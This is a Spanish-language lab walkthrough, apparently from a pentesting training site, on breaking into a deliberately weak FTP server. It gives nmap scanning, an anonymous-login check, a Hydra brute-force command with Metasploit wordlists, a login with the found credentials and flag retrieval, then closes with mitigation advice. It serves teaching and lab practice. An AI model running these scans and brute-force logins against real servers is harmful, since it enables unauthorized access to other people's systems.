GhostAcademy logo GhostAcademy unfantasmaenelsistema.com

Vulnerable FTP Server

Explotación de un servidor FTP con credenciales débiles

Objetivo: Explotar un servidor FTP con credenciales débiles para obtener acceso, enumerar archivos y extraer la flag usando Nmap, Hydra y el cliente FTP nativo.

¿Qué es FTP y por qué es crítico en pentesting?

El File Transfer Protocol (FTP) opera en texto plano (puerto 21 control, 20 datos). Los dos vectores más frecuentes son: acceso anónimo habilitado por error y contraseñas débiles.

1. Identificación del objetivo

cat /root/Desktop/target

Muestra la IP de la máquina víctima asignada por el laboratorio.

2. Escaneo de puertos

nmap -sS -sV <IP>

-sS SYN scan sigiloso; -sV detecta versiones. Muestra FTP en el puerto 21/TCP con la versión del servidor.

3. Comprobar acceso anónimo

nmap --script ftp-anon -p 21 <IP>

El script NSE ftp-anon intenta autenticarse como anonymous con contraseña vacía.

Tip: Si hay acceso anónimo, busca readme.txt, .bash_history o archivos que revelen credenciales internas.

4. Fuerza bruta con Hydra

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt \
  -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt \
  ftp://<IP>

Hydra prueba combinaciones en paralelo. Resultado esperado: ftpuser:password123.

5. Acceso al servidor FTP

ftp <IP>
# Username: ftpuser
# Password: password123
ls
cd secret
get flag.txt
bye

6. Lectura de la flag

cat flag.txt

Ejemplo: 098f6bcd4621d373cade4e832627b4f6

Flujo del ataque

1
Reconocimiento: nmap -sS -sV para detectar FTP y versión
2
Enumeración: ftp-anon para comprobar acceso anónimo
3
Fuerza bruta: Hydra con diccionarios Metasploit
4
Acceso: ftp <IP> con credenciales encontradas
5
Post-explotación: ls / get flag.txt / cat flag.txt

Conceptos clave

ConceptoDescripción
FTP Puerto 21Control de sesión; credenciales en texto plano
ftp-anonScript NSE que detecta login anónimo habilitado
HydraHerramienta de fuerza bruta multi-protocolo
PASV / PORTModos de transferencia de datos
Mitigación: Deshabilitar FTP anónimo, usar SFTP/FTPS, contraseñas fuertes y listas de acceso por IP.